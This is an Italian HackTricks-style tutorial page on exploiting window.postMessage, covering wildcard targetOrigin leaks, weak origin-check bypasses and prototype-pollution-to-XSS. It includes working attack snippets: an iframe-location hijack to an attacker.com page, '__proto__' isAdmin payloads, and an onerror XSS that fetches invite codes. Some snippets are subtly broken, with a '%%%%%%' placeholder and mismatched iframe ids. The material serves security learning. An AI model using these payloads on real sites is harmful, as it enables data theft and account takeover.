228 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilità di PostMessage
## Vulnerabilità di PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Invia **PostMessage**
**PostMessage** utilizza la seguente funzione per inviare un messaggio:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
Nello **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
### Attacco a iframe e carattere jolly in **targetOrigin**
Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leakare** il **messaggio sensibile** a un dominio controllato da te.\
Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## sfruttamento di addEventListener
**`addEventListener`** è la funzione utilizzata da JS per dichiarare la funzione che **si aspetta `postMessages`**.\
Un codice simile a quello seguente sarà utilizzato:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
```
Nota in questo caso come la **prima cosa** che il codice sta facendo è **controllare l'origine**. Questo è terribilmente **importante** principalmente se la pagina deve fare **qualcosa di sensibile** con le informazioni ricevute (come cambiare una password). **Se non controlla l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint** e cambiare le password delle vittime (in questo esempio).
### Enumerazione
Per **trovare i listener di eventi** nella pagina corrente puoi:
- **Cercare** il codice JS per `window.addEventListener` e `$(window).on` (_versione JQuery_)
- **Eseguire** nella console degli strumenti per sviluppatori: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Andare a** _Elements --> Event Listeners_ negli strumenti per sviluppatori del browser
![](<../../images/image (396).png>)
- Utilizzare un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
### Bypass dei controlli di origine
- L'attributo **`event.isTrusted`** è considerato sicuro in quanto restituisce `True` solo per eventi generati da azioni genuine dell'utente. Anche se è difficile da bypassare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole.
- L'uso di **`indexOf()`** per la validazione dell'origine negli eventi PostMessage può essere suscettibile a bypass. Un esempio che illustra questa vulnerabilità è:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) funge da carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- La funzione **`match()`**, simile a `search()`, elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.
- La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, la `escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
- Fallimento previsto:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassando l'escape:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttabile a causa della sua proprietà `name` di sola lettura. Questa proprietà, quando utilizzata nei modelli, non è sanificata dalla funzione `escapeHtml`, portando a potenziali rischi per la sicurezza.
- La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.
### bypass di e.origin == window.origin
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di **attributi sandbox** e delle loro implicazioni sulla sicurezza e sulla funzionalità.
Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
Per ulteriori informazioni **leggi**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Bypass di e.source
È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Puoi forzare **`e.source`** di un messaggio a essere nullo creando un **iframe** che **invia** il **postMessage** e viene **immediatamente eliminato**.
Per ulteriori informazioni **leggi:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### Bypass dell'header X-Frame
Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Rubare messaggi inviati al child bloccando la pagina principale
Nella seguente pagina puoi vedere come potresti rubare dei **dati postmessage sensibili** inviati a un **child iframe** bloccando la **pagina principale** prima di inviare i dati e abusando di un **XSS nel child** per **leakare i dati** prima che vengano ricevuti:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Rubare messaggi modificando la posizione dell'iframe
Se puoi iframe una pagina web senza X-Frame-Header che contiene un altro iframe, puoi **cambiare la posizione di quel child iframe**, quindi se sta ricevendo un **postmessage** inviato utilizzando un **wildcard**, un attaccante potrebbe **cambiare** quell'iframe **origin** a una pagina **controllata** da lui e **rubare** il messaggio:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage per Prototype Pollution e/o XSS
In scenari in cui i dati inviati tramite `postMessage` vengono eseguiti da JS, puoi **iframe** la **pagina** e **sfruttare** la **prototype pollution/XSS** inviando l'exploit tramite `postMessage`.
Un paio di **XSS molto ben spiegati tramite `postMessage`** possono essere trovati in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Esempio di un exploit per abusare di **Prototype Pollution e poi XSS** tramite un `postMessage` a un `iframe`:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Per **maggiori informazioni**:
- Link alla pagina su [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Link alla pagina su [**XSS**](../xss-cross-site-scripting/index.html)
- Link alla pagina su [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Riferimenti
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- Per esercitarsi: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}